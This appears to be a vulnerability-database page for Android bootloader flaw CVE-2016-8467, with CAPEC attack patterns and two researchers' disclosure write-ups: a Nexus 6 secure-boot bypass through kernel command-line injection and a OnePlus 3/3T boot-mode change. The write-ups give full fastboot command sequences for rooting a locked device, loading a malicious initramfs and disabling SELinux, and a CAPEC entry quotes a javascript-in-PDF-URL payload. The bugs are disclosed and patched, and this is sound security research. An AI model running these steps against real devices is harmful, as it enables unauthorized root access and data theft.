Vulnerabilities > CVE-2016-8467 - Permissions, Privileges, and Access Controls vulnerability in Google Android
Attack vector
LOCAL Attack complexity
LOW Privileges required
NONE Confidentiality impact
NONE Integrity impact
NONE Availability impact
COMPLETE Summary
An elevation of privilege vulnerability in the bootloader could enable a local attacker to execute arbitrary modem commands on the device. This issue is rated as High because it is a local permanent denial of service (device interoperability: completely permanent or requiring re-flashing the entire operating system). Product: Android. Versions: N/A. Android ID: A-30308784.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Accessing, Modifying or Executing Executable Files An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
- Leverage Executable Code in Non-Executable Files An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
- Blue Boxing This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
- Restful Privilege Elevation Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
- Target Programs with Elevated Privileges This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.
Seebug
bulletinFamily exploit description In the May 2017 Android Security Bulletin, Google released a patch to a critical and unique vulnerability CVE-2016-10277 in the Nexus 6 bootloader we had found and responsibly disclosed. By exploiting the vulnerability, a physical adversary or one with authorized-ADB/fastboot USB access to the (bootloader-locked) device (such as PC malware awaiting for an ADB-authorized developer’s device to be hooked via USB) could break the Secure/Verified Boot mechanism, allowing him to gain unrestricted root privileges, and completely own the user space (which may also lead much more), by loading a tampered or malicious initramfs image. Moreover, exploitation does not lead to a factory reset hence user data remains intact (and still encrypted). It should be noted that we do not demonstrate an untethered attack. During this research we also uncovered a 18-year-old Linux Kernel bug (not affecting Nexus 6 and probably does not affect any Android device): CVE-2017-1000363 Before we begin, here is a video demo of the PoC exploit: https://youtu.be/dijRMpv4ktM ### Preface In January 2017 we disclosed a high severity vulnerability, CVE-2016-8467, affecting Nexus 6/6P, that allowed attackers to change the bootmode of the device, giving access to hidden USB interfaces. This was done through a fastboot command, such as fastboot oem config bootmode bp-tools which caused the bootloader to change the androidboot.mode argument in the kernel command line. Google has fixed the issue by hardening the bootloader – a locked bootloader no longer allowed booting with a custom bootmode. Just before Google released the patch, we had discovered way to bypass it on Nexus 6. ### Vulnerability: Kernel Command-line Injection (CVE-2016-10277) Nexus 6’s bootloader contains several arguments that can be controlled through the fastboot interface, even if the bootloader is locked: ``` $ fastboot oem config [...] (bootloader) <UTAG name="battery" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Battery detection control (bootloader) ("meter_lock" or "no_eprom") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="bootmode" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) To force certain bootmode (bootloader) (valid values are "fastboot", "factory", "bp-tools", "q (bootloader) com", and "on-device-diag") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="carrier" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Carrier IDs, see http://goo.gl/lojLh3 (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="console" type="str" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Config kernel console log (bootloader) enable|true - enable with default settings (bootloader) disable|false - disable (bootloader) <config string> - enable with customized settings (bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.048s] finished. total time: 0.048s ``` The fsg-id, carrier and console parameters can contain arbitrary values (although with a restricted size), which eventually propagate to the kernel command line. One can prove that by issuing the following commands: ``` $ fastboot oem config console foo $ fastboot oem config fsg-id bar $ fastboot oem config carrier baz ``` And then check the kernel command line: ``` shamu:/ $ dmesg | grep command [ 0.000000] Kernel command line: console=foo,115200,n8 earlyprintk androidboot.console=foo androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117 androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0 androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=bar androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0 androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=baz androidboot.hard< ``` Now, if the bootloader didn’t sanitize those arguments, then we could pass arbitrary kernel command line arguments: ``` $ fastboot oem config console "a androidboot.foo=0 " $ fastboot oem config fsg-id "a androidboot.bar=1" $ fastboot oem config carrier "a androidboot.baz=2" ``` And indeed: ``` shamu:/ $ dmesg | grep command [ 0.000000] Kernel command line: console=a androidboot.foo=0 ,115200,n8 earlyprintk androidboot.console=a androidboot.foo=0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117 androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0 androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=a androidboot.bar=1 androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0 androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=a androidboot.baz=2 androidboot.hard< ``` As one can see, we’ve managed to set arbitrary ro.boot properties: ``` shamu:/ $ getprop ro.boot.foo 0 shamu:/ $ getprop ro.boot.bar 1 shamu:/ $ getprop ro.boot.baz 2 shamu:/ $ ``` ### Immediate Result: Bypassing CVE-2016-8467’s Patch At this point, bypassing CVE-2016-8467’s patch is trivial: ``` $ fastboot oem config console "a androidboot.mode=bp-tools " [...] (bootloader) <UTAG name="conolse" type="str" protected="false"> (bootloader) <value> (bootloader) a androidboot.mode=bp-tools (bootloader) </value> (bootloader) <description> (bootloader) Carrier IDs, see http://goo.gl/lojLh3 (bootloader) </description> (bootloader) </UTAG> [...] ``` And indeed: ``` shamu:/ $ getprop ro.boot.mode bp-tools shamu:/ $ ``` Please note that we must change the console parameter in order to beat the real androidboot.mode arg that is inserted by the bootloader. (Code that handles the kernel cmdline for the init process is under core/init/init.cpp!import_kernel_nv.) But can we do anything beyond changing the bootmode, by inserting arbitrary args into the command line? ### A Whole New Attack Surface The kernel command line is consumed by several entities across the OS, including: 1. In kernel code, through the __setup macro. 2. In kernel code, through the early_param macro. 3. In kernel modules code, through the module_param* macros. 4. In kernel modules codes, through the core_param macro. 5. In user space (e.g. init, see above). There are dozens if not hundreds of usages of these macros – any feature or bug introduced by controlling them could be exploited. We will now see that being able to control a single argument allowed us the defeat Secure Boot. ### Secure Boot in Nexus 6 The boot process of Qualcomm MSM devices (such as Motorola Nexus 6) is (much briefly!) as follows: ``` [Primary Bootloader (PBL)] `-. [Secondary Bootloader (SBL)] `-. [Applications Bootloader (ABOOT)] `-. [{boot,recovery}.img] |-- Linux Kernel `-- initramfs `-. [system.img] ``` The PBL kicks-in from ROM when the device is powered on. It then loads the digitally-signed SBL to memory, and verifies its authenticity. The SBL loads the digital-signed ABOOT (which implements the fastboot interface), and again verifies its authenticity. The signed certificates of the SBL and ABOOT have a root certificate anchored in hardware. ABOOT then verifies the authenticity of the boot or recovery images, loads the Linux kernel and initramfs from the boot or recovery images at fixed physical addresses (0x8000 & 0x2000000 in Nexus 6). initramfs is a cpio (gzipped) archive that gets loaded into rootfs (a RAM filesystem mounted at /) during the Linux kernel initialization. It contains the init binary, the first users pace process. The bootloader (ABOOT) prepares the kernel command line and initramfs parameters for the Linux kernel in the Device Tree Blob (DTB) located at physical address 0x1e00000. One can confirm that by dumping the in-memory DTB to disk, and then parse it with fdtdump: ``` [...] linux,initrd-end = <0x02172814>; linux,initrd-start = <0x02000000>; bootargs = "console=ttyHSL0,115200,n8 earlyprintk androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M vmalloc=300M buildvariant=userdebug androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm [...] ``` The bootloader then transfers execution to the Linux kernel. ### Linux Kernel Initialization: From ABOOT to init in a Nutshell The Linux kernel function that parses the parameters given by ABOOT in the DTB is early_init_dt_scan_chosen. In arm kernels, it eventually calls this specific function: ``` void __init early_init_dt_setup_initrd_arch(unsigned long start, unsigned long end) { phys_initrd_start = start; phys_initrd_size = end - start; } ``` Physical memory addressed by phys_initrd_start is then mapped into the virtual address space by the following code: ``` void __init arm_memblock_init(struct meminfo *mi, struct machine_desc *mdesc) { [...] if (phys_initrd_size) { memblock_reserve(phys_initrd_start, phys_initrd_size); /* Now convert initrd to virtual addresses */ initrd_start = __phys_to_virt(phys_initrd_start); initrd_end = initrd_start + phys_initrd_size; } [...] } ``` The initramfs is unpacked to rootfs next: ``` static int __init populate_initramfs(void) { [...] if (initrd_start) { #ifdef CONFIG_BLK_DEV_RAM int fd; err = unpack_to_initramfs((char *)initrd_start, initrd_end - initrd_start); if (!err) { free_initrd(); goto done; } else { clean_initramfs(); unpack_to_initramfs(__initramfs_start, __initramfs_size); } [...] } return 0; } initramfs_initcall(populate_initramfs); ``` Eventually the kernel_init function is called, which executes the first userspace process: /init. ``` static int __ref kernel_init(void *unused) { [...] if (ramdisk_execute_command) { if (!run_init_process(ramdisk_execute_command)) return 0; pr_err("Failed to execute %s\n", ramdisk_execute_command); } [...] } ``` (ramdisk_execute_command has a default value of /init.) ### Initializing userspace & dm-verity init is in charge of bringing up the user space. Among its duties, is setting up SELinux (load its policies, etc). Once the policies are loaded, it will be in the kernel domain, but soon after the SELinux initialization code completes, it transfers itself to the init domain. Please note that on production builds, even if the kernel is loaded with non-enforcing SELinux (which can be done, for example, by appending androidboot.selinux=permissive to the kernel command line), init will re-enforce: ``` static void selinux_initialize(bool in_kernel_domain) { [...] if (in_kernel_domain) { INFO("Loading SELinux policy...\n"); [...] bool kernel_enforcing = (security_getenforce() == 1); bool is_enforcing = selinux_is_enforcing(); if (kernel_enforcing != is_enforcing) { if (security_setenforce(is_enforcing)) { ERROR("security_setenforce(%s) failed: %s\n", is_enforcing ? "true" : "false", strerror(errno)); security_failure(); } } [...] } } ``` (on production builds, selinux_is_enforce() always returns true.). init also triggers the partition mounts. dm-verity later verifies the integrity of relevant partitions (e.g. system) with a public key stored under the initramfs (/verity_key) – an untrusted initramfs means an untrusted system partition. So how can the attacker interfere with the described boot process, given the Kernel Command-line Injection Vulnerability? ### Failed Attempt: Controlling ramdisk_execute_command It turns out that there is a kernel command line argument rdinit that overrides /init, the default value of ramdisk_execute_command: ``` static int __init rdinit_setup(char *str) { unsigned int i; ramdisk_execute_command = str; /* See "auto" comment in init_setup */ for (i = 1; i < MAX_INIT_ARGS; i++) argv_init[i] = NULL; return 1; } __setup("rdinit=", rdinit_setup); ``` That looked promising, by exploiting our vulnerability we could cause the kernel to execute an arbitrary user space process, e.g. fastboot oem config carrier "a rdinit=/sbin/foo". The main challenge we encountered which made controlling rdinit ineffective was the fact that the Nexus 6 initramfs contains a very limited set of binaries: ``` $ ls -la sbin adbd healthd slideshow ueventd watchdogd ``` Even if one of them could have some potential (e.g. adbd), user space at that point of execution is uninitialized, hence they may fail due to dependencies which they rely on that are not satisfied. Given the rather big attack surface described above, we decided to move along to the next command line argument we could control, however further analysis of these binaries may prove they are useful. #### Controlling the initramfs Physical Loading Address Interestingly, we’ve realized that in arm, it is also possible to control, through a kernel command line argument initrd, the physical address where the initramfs is loaded from by the kernel! Under arch/arm/mm/init.c: ``` static int __init early_initrd(char *p) { unsigned long start, size; char *endp; start = memparse(p, &endp); if (*endp == ',') { size = memparse(endp + 1, NULL); phys_initrd_start = start; phys_initrd_size = size; } return 0; } early_param("initrd", early_initrd); ``` This overrides the default values provided by ABOOT in the DTB. We then tested it with a random value, expecting the Kernel to crash: ``` $ fastboot oem config fsg-id "a initrd=0x33333333,1024" [...] (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) a initrd=0x33333333,1024 (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.016s] finished. total time: 0.016s $ fastboot continue ``` It indeed crashed! This kind of attack is analogous to controlling the Instruction Pointer (IP register) or Program Counter (PC register) in memory corruption bugs, so the first order of business in this case would be loading our own tampered initramfs archive to the device’s memory, through fastboot. Note that the Linux Kernel does not re-verify the authenticity of initramfs, it relies on the bootloader to do that, so if we manage to put a tampered initramfs at the controlled phys_initrd_start physical address, the kernel will indeed populate it into rootfs. ### Loading Arbitrary Data to Memory through USB ABOOT’s fastboot provides a download mechanism via USB, which supports features such as flashing. The download functionality is available even on locked bootloaders, therefore the attacker can use this feature in order to load a tampered initramfs on the device. Our only hope is that the bootloader nor the kernel zero-out/override that data before initramfs is populated into rootfs. In order to verify that, we made the following experiment. First, we installed our own msm-shamu kernel with Loadable-Kernel Modules (LKM) support. We then uploaded to the device a large blob 0123456789ABCDEFALEFALEFALEF... via fastboot: ``` $ fastboot flash aleph payload.bin [...] target reported max download size of 536870912 bytes sending 'aleph' (524288 KB)... OKAY [ 62.610s] writing 'aleph'... (bootloader) Not allowed in LOCKED state! FAILED (remote failure) finished. total time: 62.630s ``` Please note that the failure message is due to the flashing attempt, however, the data is downloaded by device anyway. We booted the platform with fastboot continue, and then dumped the whole physical memory with the LiME LKM (a great tool!), searching for our blob: ``` 10FFFFC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 10FFFFD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 10FFFFE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 10FFFFF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 11000000 30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 0123456789ABCDEF 11000010 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000020 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000030 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000040 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000050 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF ``` This has given us a stronger guarantee because our payload survived even when the platform is up and running. We’ve repeated this process several times, there was nothing random – the payload is always loaded at 0x11000000 and is available for the Linux Kernel! For the sake of curiosity we’ve also statically verified this result. It turns out that Little Kernel (LK), which the Nexus 6 is based on, has a memory area pointed by SCRATCH_ADDR where the downloaded data is saved under. Loading the ABOOT binary with IDA confirms (functions renamed for readability): ``` int fastboot_mode() { [...] dprintf(1, "Entering fastboot mode\n"); [...] v8 = return11000000(); v9 = return20000000(); fastboot_init(v8, v9); v11 = sub_FF2EA94(v10); if ( v13 != v10021C84 ) sub_FF3D784(); return sub_FF15BA4(v11); } signed int return11000000() { signed int result; // r0@1 result = 0x11000000; if ( v10021C84 != v10021C84 ) sub_FF3D784(); return result; } ``` This value is eventually consumed by the download handler of ABOOT. To conclude, we have the following physical memory layout before the initramfs archive is populated from memory into rootfs: ``` .-------------------.------------------------------.-----------. | Physical Address | What | Loaded by | |-------------------|------------------------------|-----------| | 0x00008000 | Linux Kernel | ABOOT | | 0x01E00000 | Device Tree Blob (DTB) | ABOOT | | 0x02000000 | Verified initramfs | ABOOT | | 0x11000000 | Tampered initramfs (payload) | Adversary | `-------------------'------------------------------'-----------' ``` We are now all done, we can now place our initramfs at a fixed physical address and then instruct the kernel to populate it. ### Creating a Malicious initramfs The final step is to create our own malicious initramfs. One can just compile a userdebug AOSP boot image and rip the initramfs.cpio.gz file out of it, since it contains the su domain and a root-capable adbd. The only caveat is dm-verity which will not be able to verify the official system partition (because the AOSP boot image will contain the debug verity_key). Anyway, since we are now able to load a malicious initramfs, this annoyance can be bypassed easily by editing the fstab file (removing the verification), or replacing the debug verity_key with the official one from the relevant build. A Proof-of-Concept initramfs is [available in our GitHub research repo](https://github.com/alephsecurity/research/tree/master/initroot). ### Putting it All Together: got root! We now have everything we need: 1. We have a malicious initramfs archive. 2. We can load it into memory at a fixed physical address using the bootloader fastboot interface. 3. We can instruct the Linux kernel to populate it from that address. In terms of Secure Boot, we now have the following broken chain-of-(dis)trust: ``` [Primary Bootloader (PBL)] `-. [Secondary Bootloader (SBL)] `-. [Applications Bootloader (ABOOT)] `-. [{boot,recovery}.img] |-- Linux Kernel `-- initramfs <- Controlled by Attacker in Memory `-. [system.img] <- Cannot be Trusted ``` The following shows a successful attack: ``` $ adb shell shamu:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 shamu:/ $ getenforce Enforcing shamu:/ $ setenforce permissive setenforce: Couldn't set enforcing status to 'permissive': Permission denied shamu:/ $ reboot bootloader $ fastboot getvar unlocked [...] unlocked: no finished. total time: 0.008s $ fastboot oem config fsg-id "a initrd=0x11000000,1518172" [...] (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) a initrd=0x11000000,1518172 (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.016s] finished. total time: 0.016s $ fastboot flash aleph malicious.cpio.gz [...] target reported max download size of 536870912 bytes sending 'aleph' (1482 KB)... OKAY [ 0.050s] writing 'aleph'... (bootloader) Not allowed in LOCKED state! FAILED (remote failure) finished. total time: 0.054s $ fastboot continue [...] resuming boot... OKAY [ 0.007s] finished. total time: 0.007s $ adb shell shamu:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 shamu:/ # getenforce Enforcing shamu:/ # setenforce permissive shamu:/ # getenforce Permissive shamu:/ # ``` ### Beyond initramfs: Firmware Injection Now that the we have full control over rootfs, we can also create a malicious /vendor folder, which normally contains firmware images of various SoCs available on the board: ``` shamu:/ # ls /vendor/firmware VRGain.bin adsp.b03 adsp.b11 bcm20795_firmware.ncd left.boost.music.eq left.boost_n1b12.patch right.boost.ringtone.eq right.boost_ringtone_table.preset venus.mdt a420_pfp.fw adsp.b04 adsp.b12 bcm4354A2.hcd left.boost.ringtone.config left.boost_n1c2.patch right.boost.speaker right.boost_voice_table.preset widevine.b00 a420_pm4.fw adsp.b05 adsp.mdt cy8c20247_24lkxi.hex left.boost.ringtone.eq left.boost_ringtone_table.preset right.boost.voice.config venus.b00 widevine.b01 acdb.mbn adsp.b06 aonvr1.bin fw_bcmdhd.bin left.boost.speaker left.boost_voice_table.preset right.boost.voice.eq venus.b01 widevine.b02 adsp.b00 adsp.b07 aonvr2.bin fw_bcmdhd_apsta.bin left.boost.voice.config right.boost.music.config right.boost_music_table.preset venus.b02 widevine.b03 adsp.b01 adsp.b08 atmel-a432-14061601-0102aa-shamu-p1.tdat keymaster left.boost.voice.eq right.boost.music.eq right.boost_n1b12.patch venus.b03 widevine.mdt adsp.b02 adsp.b10 atmel-a432-14103001-0103aa-shamu.tdat left.boost.music.config left.boost_music_table.preset right.boost.ringtone.config right.boost_n1c2.patch venus.b04 ``` Kernel drivers usually consume these images upon initialization, and update their SoC counterparts if needed. Hence, the attacker could flash unsigned firmware images. We haven’t checked if there are such, but from our experience with other devices, there are. As for signed ones, downgrade attacks might be possible as well. In addition, the modem firmware resides under /firmware/image, which we could also alter and theoretically conduct similar attacks (see below). Again, we haven’t verified what kind of integrity checking exists nor if it is vulnerable to downgrade attack, leaving it aside for future research. ``` shamu:/ # umount -f /firmware shamu:/ # mount /dev/block/mmcblk0p1 /firmware -o rw shamu:/ # ls /firmware/image acdb.mbn bdwlan20.bin cmnlib.b03 efs1.bin isdbtmm.b01 mba_9225.mbn.gz playready.b00 playready.mdt prov.b03 qwlan11.bin sampleapp.b00 sampleapp.mdt securemm.b01 tqs.b00 tqs.mdt utf20.bin apps_9225.mbn.gz cmnlib.b00 cmnlib.mdt efs2.bin isdbtmm.b02 mba_9625.mbn.gz playready.b01 prov.b00 prov.mdt qwlan20.bin sampleapp.b01 sbl1_9225.mbn.gz securemm.b02 tqs.b01 tz_9225.mbn.gz apps_9625.mbn.gz cmnlib.b01 dsp2_9225.mbn.gz efs3.bin isdbtmm.b03 otp11.bin playready.b02 prov.b01 qdsp6sw_9225.mbn.gz rpm_9225.mbn.gz sampleapp.b02 sbl1_9625.mbn.gz securemm.b03 tqs.b02 tz_9625.mbn.gz bdwlan11.bin cmnlib.b02 dsp2_9625.mbn.gz isdbtmm.b00 isdbtmm.mdt otp20.bin playready.b03 prov.b02 qdsp6sw_9625.mbn.gz rpm_9625.mbn.gz sampleapp.b03 securemm.b00 securemm.mdt tqs.b03 utf11.bin shamu:/ # echo foo > /firmware/image/foo shamu:/ # cat /firmware/image/foo foo ``` ### Google’s Patch Google’s patch for this vulnerability is available in the May 2017 Bulletin. Bootloader version moto-apq8084-72.03 available in build N6F27C now sanitizes the fsg-id, carrier and console config arguments: ``` $ fastboot oem config fsg-id "foo foo=1" [...] $ fastboot oem config carrier "bar bar=1" [...] $ fastboot oem config carrier "baz baz=1" [...] $ fastboot oem config [android@aosp:/aosp/source/android-7.1.1_r40]$ fastboot oem config [...] (bootloader) <UTAG name="carrier" type="str" protected="false"> (bootloader) <value> (bootloader) bar (bootloader) </value> (bootloader) <description> (bootloader) Carrier IDs, see http://goo.gl/lojLh3 (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="console" type="str" protected="false"> (bootloader) <value> (bootloader) baz (bootloader) </value> (bootloader) <description> (bootloader) Config kernel console log (bootloader) enable|true - enable with default settings (bootloader) disable|false - disable (bootloader) <config string> - enable with customized settings (bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) foo (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG>] ``` ### Anecdote: A Linux Kernel Out-of-Bounds Write (CVE-2017-1000363) During the work on this research, we also uncovered an ancient (since 2.2.0!) Out-of-Bounds write in the Linux Kernel CVE-2017-1000363. The bug is in the lp driver (so CONFIG_PRINTER=y is required), and is triggered when many lp=none arguments are appended to the Kernel Command Line: ``` static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC }; [...] #ifndef MODULE static int __init lp_setup (char *str) { static int parport_ptr; [...] } else if (!strcmp(str, "none")) { parport_nr[parport_ptr++] = LP_PARPORT_NONE; } [...] } #endif [...] __setup("lp=", lp_setup); ``` A [patch](https://github.com/torvalds/linux/commit/3e21f4af170bebf47c187c1ff8bf155583c9f3b1) has been committed to the mainline kernel. id SSV:93140 last seen 2017-11-19 modified 2017-05-26 published 2017-05-26 reporter Root title initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection bulletinFamily exploit description ## Summary A physical attacker (or one with authorized-ADB access, e.g. PC malware) can change the ‘boot mode’ of a locked OnePlus 3/3T device, by rebooting into `fastboot` and issuing the `fastboot oem boot_mode {rf/wlan/ftm/normal}` command. The vulnerability may allow the attacker to elevate his privileges & exfiltrate modem-related information, in contradiction to the fact that locked bootloaders MUST NOT allow any security-sensitive operation to be run. ## Technical Details Similarly to [CVE-2016-8467](/vulns/aleph-2016002) the attacker can change the boot mode of the device by issuing the `fastboot oem boot_mode {rf/wlan/ftm/normal}` command. For example: ``` > fastboot oem boot_mode wlan ... OKAY [ 0.034s] finished. total time: 0.036s ``` Beyond the intended functionalities of the special boot modes (which could be problematic on their own, however, we did not investigate them), such a boot mode change causes the bootloader to load the platform in an non-secure configuration – `adb` access is now available (without requiring host-authorization, albeit `userdata` is unmounted) together with `permissive`-mode SELinux. This can be seen by the output of the `getenforce` command: ``` > adb -d shell OnePlus3:/ $ getenforce Permissive OnePlus3:/ $ ``` With `permissive`-mode SELinux, the attacker could bypass security controls normally enforced by SELinux. For example, we’ve managed to change the USB configuration, so that sensitive USB interfaces are now enabled (e.g. the modem’s `diag` and `AT` interfaces): ``` OnePlus3:/ $ setprop sys.usb.config diag,acm_smd,acm_tty,rmnet_bam,mass_storage,adb OnePlus3:/ $ ``` The command above enables the following USB interfaces: ![](https://images.seebug.org/1490005427587) The `Qualcomm HS-USB MDM Modem` interface is the `AT` interface of the device’s modem: ``` ATI Manufacturer: QUALCOMM INCORPORATED Model: 4112 Revision: MPSS.TH.2.0.c1.9-00078-M8996FAAAANAZM-1.81324.1 1 [Dec 15 2016 20:00:00] SVN: 01 IMEI: [...] +GCAP: +CGSM OK ``` The `Qualcomm HS-USB Diagnostics` interface is the modem’s diagnostics interface, and as explained thoroughly in the [Nexus 6/6P blog post](/2017/01/05/attacking-android-custom-bootmodes/), allows the attacker to modify modem-related configurations, and exfltrate sensitive information. The vulnerability is rated with **Moderate** severity only (as opposed to **High** severity <span class="cve-high" title="Google Nexus 6/6P Custom Boot Modes USB Configs Override">[CVE-2016-8467](/vulns/aleph-2016002)</span>) because after the boot mode change, the platform does not continue with its normal boot process – it will perpetually display a notification to the user (although the victim may notice it too late, if at all): ![](https://images.seebug.org/1490005443733) It should be noted that \[CVE-2016-8467](/vulns/aleph-2016002)\ did not enable ADB nor set SELinux to `permissive` mode. OxygenOS 4.1.0 has mitigated the issue by removing the `fastboot oem boot_mode` command from its bootloader: ``` > fastboot oem boot_mode ... FAILED (remote: unknown command) finished. total time: 0.023s ``` ## Timeline * 19-Mar-17 : Public disclosure. * 16-Mar-17 : Patch available. * 01-Mar-17 : Added as [ALEPH-2017005](/vulns/aleph-2017005) * 